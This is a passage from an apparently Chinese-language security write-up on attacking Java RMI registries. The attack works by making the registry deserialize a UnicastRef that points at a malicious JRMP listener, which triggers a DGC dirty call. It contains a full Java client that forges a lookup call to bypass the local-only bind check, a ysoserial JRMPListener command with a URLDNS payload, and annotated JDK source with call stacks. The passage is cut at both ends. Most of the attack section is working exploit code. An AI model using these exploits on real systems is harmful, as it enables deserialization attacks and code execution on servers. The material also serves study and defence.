RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);

// 4) 生成 Remote 动态代理(最小接口集合:仅 Remote.class)
Remote proxy = (Remote) Proxy.newProxyInstance(
RMIClient.class.getClassLoader(),
new Class[]{ Remote.class },
handler
);

// 5) 绑定到注册中心(注册名 "x")
// 高版本中,Registry 对 bind/rebind/unbind 有“来源 IP 必须为本机”的校验;
// 我们使用 127.0.0.1 发起,可通过本地校验。
registry.bind("x", proxy);

System.out.println("[*] Bind done: name='x' → UnicastRef(" + te.getHost() + ":" + te.getPort() + ")");
}
}

绑定发生时,注册中心需要反序列化该 Stub(涉及 UnicastRef/LiveRef/TCPEndpoint)导致 DGC dirty → 连接恶意 JRMP 服务端。

此时如果我们设置 ysoserial.exploit.JRMPListener 监听该端口则会在 DGC dirty 触发反序列化。

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12233 URLDNS http://example.com

这里以 bind 为例,在前面针对构造指向“恶意 JRMP 服务端”的远程引用(UnicastRef)的反序列化的过程中有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
at sun.rmi.transport.ConnectionInputStream.saveRef(ConnectionInputStream.java:70)
at sun.rmi.transport.LiveRef.read(LiveRef.java:305)
at sun.rmi.server.UnicastRef.readExternal(UnicastRef.java:489)
at java.rmi.server.RemoteObject.readObject(RemoteObject.java:454)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2346)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2240)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:109)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.2071178362.run(Unknown Source:-1)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:844)

RemoteObject#readObject 实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/**
* 自定义反序列化(custom serialization)的 {@code readObject}。
*
* <p>本方法按如下步骤读取并还原当前对象中 {@code ref} 字段(类型为 {@link RemoteRef}):
*
* <ol>
* <li>先在输入流 {@code in} 上调用 {@link java.io.ObjectInputStream#readUTF readUTF()}
* 读取“外部引用类型名”(external ref type name)。</li>
* <li>若读取到的字符串长度为 0(或为 {@code null}):
* <ul>
* <li>说明没有显式的引用类型名;直接在 {@code in} 上调用 {@link java.io.ObjectInputStream#readObject readObject()},
* 将其结果强制转换为 {@code RemoteRef},并赋给当前对象的 {@code ref} 字段。</li>
* </ul>
* </li>
* <li>否则(读到了内建/实现相关的引用类型名):
* <ul>
* <li>将类型名拼接为内部实现类的全名:{@code RemoteRef.packagePrefix + "." + refClassName}。</li>
* <li>通过 {@link Class#forName(String)} 加载该类,并用(过时但为兼容保留的){@code newInstance()} 实例化。</li>
* <li>将实例强转为 {@code RemoteRef} 并赋给 {@code ref} 字段;随后调用 {@code ref.readExternal(in)}
* 让该引用对象按其“外部形式”(external form)从流中继续读取自身字段。</li>
* <li>如果加载/实例化/类型转换失败,则抛出 {@link ClassNotFoundException}。</li>
* </ul>
* </li>
* </ol>
*
* <p>内建的“外部引用类型名”通常包括:
* {@code "UnicastRef"}, {@code "UnicastServerRef"}, {@code "UnicastRef2"},
* {@code "UnicastServerRef2"}, {@code "ActivatableRef"} 等。
* 若读到其他非空字符串且实现未提供对应类,则会抛出 {@code ClassNotFoundException}。
*/
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException {

// 读取“外部引用类型名”(可能为空串,表示未指定)
String refClassName = in.readUTF();

if (refClassName == null || refClassName.length() == 0) {
/*
* 情况一:未指定引用类名
* 直接把下一段序列化数据反序列化为 RemoteRef,并赋值给 ref。
*/
ref = (RemoteRef) in.readObject();

} else {
/*
* 情况二:指定了内建/实现相关的引用类名
* 计算内部实现类名并加载,然后让该 RemoteRef 自己以 external form 的方式读入字段。
*/
String internalRefClassName = RemoteRef.packagePrefix + "." + refClassName;
Class<?> refClass = Class.forName(internalRefClassName);

try {
@SuppressWarnings("deprecation")
Object tmp = refClass.newInstance(); // JDK9 起已废弃,用于兼容的旧用法
ref = (RemoteRef) tmp;
} catch (InstantiationException | IllegalAccessException | ClassCastException e) {
// 找到了类但不是一个可序列化/期望的 RemoteRef 实现,按“类不存在”处理
throw new ClassNotFoundException(internalRefClassName, e);
}

// 由具体的 RemoteRef 实现按其“外部形式”从流中读取自身字段
ref.readExternal(in); // 📌
}
}

它在反序列化一个远程对象的“引用 ref”。流里先写了个类型标记(比如 "UnicastRef"),读出来后:

  • 如果没写类型标记,就用常规 readObject() 把整个 RemoteRef 读回来;
  • 如果写了类型标记,就new 出对应的 RemoteRef 类(如 sun.rmi.server.UnicastRef),然后让它自己按“外部格式”把字段从流里读出来——这就发生在 ref.readExternal(in) 这句。

readExternal 会调用到 LiveRefread 方法。该方法会:

  • 从数据流中读取端点(Endpoint)和远程对象标识(ObjID);
  • 基于端点与对象ID构造 LiveRef,并调用 ConnectionInputStream#saveRef 将本次读取到的 LiveRef 暂存到流内。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/**
* 读取 RemoteRef 的“外部表示”(external form),并恢复为内部引用。
*
* <p>说明:
* 该实现仅将具体的读取逻辑委托给 {@link LiveRef#read(ObjectInput, boolean)},
* 这里传入 {@code false} 表示使用“旧版主机/端口编码格式”(JDK 1.1 风格)。
*
* @param in 输入流(反序列化来源)
* @throws ClassNotFoundException 若反序列化到的类在当前环境中不可用
* @throws IOException 读流过程中发生 I/O 错误
*/
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
// 从输入流恢复 LiveRef;useNewFormat=false ⇒ 使用旧格式读取端点信息
ref = LiveRef.read(in, false);
}


/**
* 从输入流中读取并构造一个 LiveRef。
*
* <p>读取顺序为:
* 1) 端点(Endpoint/TCPEndpoint),支持“新格式”或“JDK1.1 旧格式”;
* 2) 远程对象标识(ObjID);
* 3) 布尔标志 isResultStream(标识该流是否为“返回值流”)。
*
* <p>副作用:
* - 如果输入流是 {@link ConnectionInputStream},则:
* · 将本次读取到的 LiveRef 暂存到流的 incomingRefTable,
* 由其在参数/返回值全部解组完成后统一调用 DGCClient.registerRefs
* (即批量发送一次 DGC 的 dirty 调用);
* · 若 isResultStream 为 true,则标记需要发送 DGC “ack” 确认。
* - 若输入流不是 ConnectionInputStream(少见情况),则立即调用
* {@link DGCClient#registerRefs} 针对该端点注册引用(触发 DGC.dirty)。
*
* @param in 输入流
* @param useNewFormat 是否使用“新格式”读取端点:
* true ⇒ 使用 {@link TCPEndpoint#read(ObjectInput)};
* false ⇒ 使用 {@link TCPEndpoint#readHostPortFormat(ObjectInput)}(旧格式)
* @return 构造完成的 LiveRef
* @throws IOException I/O 错误
* @throws ClassNotFoundException 反序列化需要的类不可用
*/
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
Endpoint ep;
ObjID id;

// 1) 读取端点(Endpoint)。根据 useNewFormat 选择新/旧读取方式:
// - 新格式:TCPEndpoint.read(in)
// - 旧格式(JDK 1.1 风格 host:port):TCPEndpoint.readHostPortFormat(in)
if (useNewFormat) {
ep = TCPEndpoint.read(in);
} else {
ep = TCPEndpoint.readHostPortFormat(in);
}

// 2) 读取远程对象标识(ObjID)
id = ObjID.read(in);

// 3) 读取是否为“结果流”的标志:
// 若为 true,表示该流中曾解组过远程对象引用,传输层稍后需要发送 DGC ack。
boolean isResultStream = in.readBoolean();

// 基于端点与对象ID构造 LiveRef;第三个参数 false 表示作为“非本地”引用
LiveRef ref = new LiveRef(id, ep, false);

// 如果这是 RMI 传输层的 ConnectionInputStream:
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream) in;

// 将本次读取到的 LiveRef 暂存到流内,等到“所有参数/返回值解组完成后”
// 由 ConnectionInputStream#registerRefs() 统一批量发送 DGC.dirty
stream.saveRef(ref);

if (isResultStream) {
// 标记:该连接需要在传输层发送一次 DGC ack 确认
stream.setAckNeeded();
}
} else {
// 非典型路径:若不是 ConnectionInputStream,则立刻为该端点注册引用
// (立即触发 DGCClient.registerRefs → 发送 DGC.dirty)
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}

ConnectionInputStream#saveRef 会将之前没有遇到的远程引用保存起来,具体是保存在 incomingRefTable 映射表中当前读取端点 ep 对应的列表 refList 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 将本次解组(unmarshal)过程中遇到的远程引用保存起来,
* 以便在“所有参数/返回值都反序列化完成”之后,统一触发一次
* DGC 的 dirty 调用(见 registerRefs)。
*
* <p>保存位置:incomingRefTable(哈希表)
* - Key:Endpoint(远端地址,如 TCPEndpoint:host:port)
* - Val:List<LiveRef>(该端点下出现的所有 LiveRef 引用)
*
* <p>这样按端点分组,可以将多个 LiveRef 合批(batch)发送给 DGC,
* 减少网络往返与系统调用次数。
*/
void saveRef(LiveRef ref) {
// 取出该引用所指向的远端端点(包含主机、端口等)
Endpoint ep = ref.getEndpoint();

// 按端点在表中查找对应的 LiveRef 列表
List<LiveRef> refList = incomingRefTable.get(ep);

// 首次遇到该端点:为其创建一个新的列表并放入表中
if (refList == null) {
refList = new ArrayList<LiveRef>();
incomingRefTable.put(ep, refList);
}

// 将本次读取到的 LiveRef 追加到该端点的列表中
// (不做去重,由后续 DGC 层按需处理;合批由 registerRefs 统一完成)
refList.add(ref);
}

RegistryImpl_Skel#dispatch 中每一个注册中心的远程调用分支在完成远程调用后都会执行一个 call.releaseInputStream 方法。

releaseInputStream() 会在参数读完后关闭请求输入流,随后触发清理钩子(将已收集的 LiveRef 统一 registerRefs(),从而发起 DGC.dirty),最后把连接切换到“写返回值”模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case 0: // bind(String, Remote)
{
// Check access before reading the arguments
RegistryImpl.checkAccess("Registry.bind");

java.lang.String $param_String_1;
java.rmi.Remote $param_Remote_2;
try {
java.io.ObjectInput in = call.getInputStream();
$param_String_1 = (java.lang.String) in.readObject();
$param_Remote_2 = (java.rmi.Remote) in.readObject(); // 👈 触发反序列化
} catch (java.io.IOException | java.lang.ClassNotFoundException e) {
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
call.releaseInputStream(); // 👈 进入 DGC 的 dirty 分支
}

前面在服务端反序列化 Remote 参数时,输入流会把遇到的 LiveRef 先存起来saveRefincomingRefTable,按 Endpoint 分组)。

当调用到 releaseInputStream(),输入流做收尾:把刚才收集到的 LiveRef 按端点合并后,一次性报备给对方的分布式 GC(DGC),相当于说“我这边现在持有这些远程对象,请先别回收”。

releaseInputStream 调用的 registerRefs 会遍历前面添加终端节点和远程对象的 incomingRefTable 表,因此最终会遍历到我们设置指向恶意 JRMP 服务器的远程对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 将在本次解组(unmarshal)过程中通过 {@code saveRef} 累积的远程引用
* 按端点(Endpoint)分组后,统一注册到 DGC(分布式垃圾回收)表中。
*
* <p>实现要点:
* <ul>
* <li>对同一 Endpoint 的所有 {@code LiveRef} 批量提交给
* {@link DGCClient#registerRefs(Endpoint, java.util.List)},以减少
* 与 DGC 的往返次数(batching)。</li>
* <li>在 {@code DGCClient.registerRefs} 内部会定位/创建该端点的
* EndpointEntry,并对该端点发起一次合并的 {@code DGC.dirty(ObjID[], Lease, VMID, ...)} 调用。</li>
* </ul>
*
* @throws IOException 传输层在登记/发送 dirty 调用时发生 I/O 错误
*/
void registerRefs() throws IOException {
// 若本次调用期间未收集到任何远程引用,直接返回
if (!incomingRefTable.isEmpty()) {
// 按端点遍历,每个端点对应一个 LiveRef 列表
for (Map.Entry<Endpoint, List<LiveRef>> entry : incomingRefTable.entrySet()) {
// 将该端点的一批 LiveRef 统一注册(可能触发一次 batched 的 DGC.dirty 调用)
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

因此注册中心的 DGCClientDGCImpl_Stub#dirty 过程中会去访问我们在远程对象设置的恶意 JRMP 服务器。该服务器接收到远端请求后会返回的一个异常对象,反序列化该异常对象则会触发反序列化利用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// implementation of dirty(ObjID[], long, Lease)
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3)
throws java.rmi.RemoteException {
// [...]
ref.invoke(call);
// [...]
}

public void invoke(RemoteCall call) throws Exception {
// [...]
call.executeCall();
// [...]
}

public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject(); // 🚨 接收恶意序列化对象
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// [...]
}
}

这一过程调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:440)
at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361)
at java.net.URL.hashCode(URL.java:957)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1462)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.access$300(ObjectInputStream.java:222)
at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525)
at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
at sun.rmi.transport.DGCImpl_Stub.dirty(DGCImpl_Stub.java:109)
at sun.rmi.transport.DGCClient$EndpointEntry.makeDirtyCall(DGCClient.java:377)
at sun.rmi.transport.DGCClient$EndpointEntry.registerRefs(DGCClient.java:319)
at sun.rmi.transport.DGCClient.registerRefs(DGCClient.java:155)
at sun.rmi.transport.ConnectionInputStream.registerRefs(ConnectionInputStream.java:102)
at sun.rmi.transport.StreamRemoteCall.releaseInputStream(StreamRemoteCall.java:157)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:80)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.1752546957.run(Unknown Source:-1)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:844)

伪造 lookup 调用(8u231 前)

然而这个方法只能在本地成功,这是因为高版本 RMI 的 RegistryImpl_Skel#dispatch 在执行 bindrebindunbind 操作之前会判断客户端的 IP 和本机 IP 是否相同。

1
2
3
4
5
6
switch (opnum) {
case 0: // bind(String, Remote)
{
// Check access before reading the arguments
RegistryImpl.checkAccess("Registry.bind");
// [...]

例如 bind 操作调用 checkAccess 进行了检测,这里传入的字符串参数仅是用于构造报错信息的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* 校验调用端是否有权限执行指定操作(仅允许“与本 Registry 同一主机”的客户端)。
*
* <p>逻辑概览:
* 1) 取出本次 Registry 操作的客户端主机名(RMI 运行时提供)。
* 2) 将主机名解析为 InetAddress(在特权块中执行,以兼容安全管理器)。
* 3) 若该地址未被允许缓存(allowedAccessCache)记录,则进一步校验:
* - 若为“任意本地地址”(0.0.0.0 / ::),视为来源不明 → 拒绝;
* - 尝试在该地址上绑定一个临时 ServerSocket:
* · 绑定成功 ⇒ 该地址必然属于本机网卡 ⇒ 允许,并写入缓存;
* · 绑定失败 ⇒ 说明不是本机地址 ⇒ 拒绝。
* 4) 若当前线程不存在远程调用上下文(抛出 ServerNotActiveException),
* 视为“本 JVM 的本地调用” ⇒ 直接允许。
* 5) 主机名解析失败(UnknownHostException) ⇒ 拒绝。
*
* @param op 当前要执行的操作名(仅用于构造异常消息)
* @throws AccessException 当判定为非本地主机、来源不明或主机未知时抛出
*/
public static void checkAccess(String op) throws AccessException {

try {
/*
* 取发起本次 Registry 操作的客户端主机名(RMI 运行时维护)。
* 若当前并非处于远程调用上下文中,将抛出 ServerNotActiveException。
*/
final String clientHostName = getClientHost();
InetAddress clientHost;

try {
// 在特权块中解析主机名,避免可能的安全管理器限制
clientHost = java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<InetAddress>() {
public InetAddress run() throws java.net.UnknownHostException {
return InetAddress.getByName(clientHostName);
}
});
} catch (PrivilegedActionException pae) {
// 将受检异常还原抛出(此处只可能是 UnknownHostException)
throw (java.net.UnknownHostException) pae.getException();
}

// 若该客户端地址尚未被允许缓存命中,则需要执行一次“本地性”校验
if (allowedAccessCache.get(clientHost) == null) {

// 0.0.0.0 / :: 等“任意本地地址”无法明确来源,直接拒绝
if (clientHost.isAnyLocalAddress()) {
throw new AccessException(op + " disallowed; origin unknown");
}

try {
final InetAddress finalClientHost = clientHost;

// 在特权块中尝试绑定一个临时 ServerSocket 到“客户端地址”
// 绑定成功 ⇒ 该地址属于本机网卡 ⇒ 允许并写入缓存
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws java.io.IOException {
/*
* 若能在客户端地址上绑定 ServerSocket,
* 则该地址必为本机地址(非远程来源)。
*/
(new ServerSocket(0, 10, finalClientHost)).close();
allowedAccessCache.put(finalClientHost, finalClientHost);
return null;
}
});
} catch (PrivilegedActionException pae) {
// 进入此分支说明绑定失败(IOException),即该地址不是本机地址 ⇒ 拒绝
throw new AccessException(
op + " disallowed; origin " + clientHost + " is non-local host");
}
}
} catch (ServerNotActiveException ex) {
/*
* 无远程调用上下文:视为来自本 JVM 的本地调用,允许通过。
* (例如直接在同一进程内调用 Registry 实现)
*/
} catch (java.net.UnknownHostException ex) {
// 主机名无法解析 ⇒ 无法判定来源 ⇒ 拒绝
throw new AccessException(op + " disallowed; origin is unknown host");
}
}

当然 listlookup 这些客户端正常使用的功能就没有这个限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
case 1: // list()
{
call.releaseInputStream();
java.lang.String[] $result = server.list();
try {
java.io.ObjectOutput out = call.getResultStream(true);
out.writeObject($result);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}

case 2: // lookup(String)
{
java.lang.String $param_String_1;
try {
java.io.ObjectInput in = call.getInputStream();
$param_String_1 = (java.lang.String) in.readObject();
} catch (java.io.IOException | java.lang.ClassNotFoundException e) {
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}
java.rmi.Remote $result = server.lookup($param_String_1);
try {
java.io.ObjectOutput out = call.getResultStream(true);
out.writeObject($result);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}

list 功能没有参数直接排除;而如果客户端直接调用 lookup,只能传递字符串。

不过我们可以直接按 RegistryImpl_Stub 的格式手写一个 lookup 方法,使其接受任意 Object,同时把 opnum 置为 2lookup 的编号),这样就能在远程正常执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.util.Random;

// ↓↓↓ 以下为 JDK 内部 API;JDK 9+ 编译/运行需 --add-exports(见文末命令)
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

/**
* 通过“自造 RegistryImpl_Stub 调用”在 lookup(opnum=2) 的
* 反序列化阶段“注入任意对象”。即便随后类型检查失败(lookup 期望 String),
* 反序列化副作用已发生。
*/
public class RMIClient {

public static void main(String[] args) throws Exception {
String regHost = "127.0.0.1";
int regPort = 1099;

// 1) 连接注册中心
Registry registry = LocateRegistry.getRegistry(regHost, regPort);
System.out.println("[*] Connected to Registry " + regHost + ":" + regPort);

// 2) 构造要注入的“任意对象”
// 这里演示用 UnicastRef Stub,指向你的 JRMPListener(例如 127.0.0.1:12233)
Object payload = buildUnicastRefStub("127.0.0.1", 12233);

// 3) 发起“伪造的 lookup 调用”,在反序列化发生处塞入对象
lookupInject(registry, payload);
System.out.println("[*] lookup injection sent.");
}

/**
* 伪造一次 Registry.lookup 调用(opnum=2),把任意对象写入参数流。
* 服务器端 skeleton 会在“类型检查之前”先反序列化该对象。
*/
public static Remote lookupInject(Registry registry, Object obj) throws Exception {
// 从 stub 实例上反射拿到内部的 RemoteRef、interfaceHash、operations
RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
long interfaceHash = toLong(getFieldValue(registry, "interfaceHash"));
Operation[] operations = (Operation[]) getFieldValue(registry, "operations");

// newCall:第三个参数为 opnum=2(lookup)
RemoteCall call = ref.newCall((RemoteObject) registry, operations, 2, interfaceHash);
try {
try {
// ★ 核心:把“任意对象”写入 lookup 的参数位置
ObjectOutput out = call.getOutputStream();
out.writeObject(obj);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}

// 触发远程调用。注意:反序列化会在服务器端先发生,
// 随后才做 String 强转(可能抛 ClassCastException/UnmarshalException)
ref.invoke(call);
return null;
} catch (RuntimeException | RemoteException | NotBoundException e) {
// 预期的异常:类型不匹配、未绑定等;副作用已经发生,可忽略。
if (e instanceof RemoteException || e instanceof ClassCastException) {
return null;
} else {
throw e;
}
} catch (Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
} finally {
ref.done(call);
}
}

/**
* 构造一个最小 Remote 动态代理(Stub),其内部持有 UnicastRef,
* UnicastRef 指向指定的 JRMP 端点(host:port)。
*/
public static Object buildUnicastRefStub(String host, int port) {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
// 第三个参数 false:作为远端引用使用(避免某些 JDK 版本本地路径问题)
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler h = new RemoteObjectInvocationHandler(ref);
return java.lang.reflect.Proxy.newProxyInstance(
RMIClient.class.getClassLoader(),
new Class[]{ Remote.class },
h
);
}

/** 反射获取实例字段(逐级向上查找) */
public static Object getFieldValue(Object o, String name) throws Exception {
Class<?> c = o.getClass();
while (c != null) {
try {
Field f = c.getDeclaredField(name);
f.setAccessible(true);
return f.get(o);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
throw new NoSuchFieldException(name);
}

/** 统一把 Object 转 long(field 可能是 long 或字符串) */
private static long toLong(Object v) {
if (v instanceof Long) return (Long) v;
return Long.parseLong(String.valueOf(v));
}
}

攻击流程如下:

sequenceDiagram
    autonumber

    %% ── 不同进程分组(带背景色) ──
    box rgb(230,242,255) 攻击者客户端(进程A)
      participant A as 攻击者客户端
    end

    box rgb(232,245,233) 注册中心(进程B)
      participant R_Skel as RegistryImpl_Skel / Skeleton
      participant R_CIS as ConnectionInputStream
      participant R_DGC as DGCClient(Registry内)
    end

    box rgb(255,243,224) 恶意JRMPListener(进程C)
      participant L as JRMPListener
    end

    %% ── 背景提示:bind 仅本地 ──
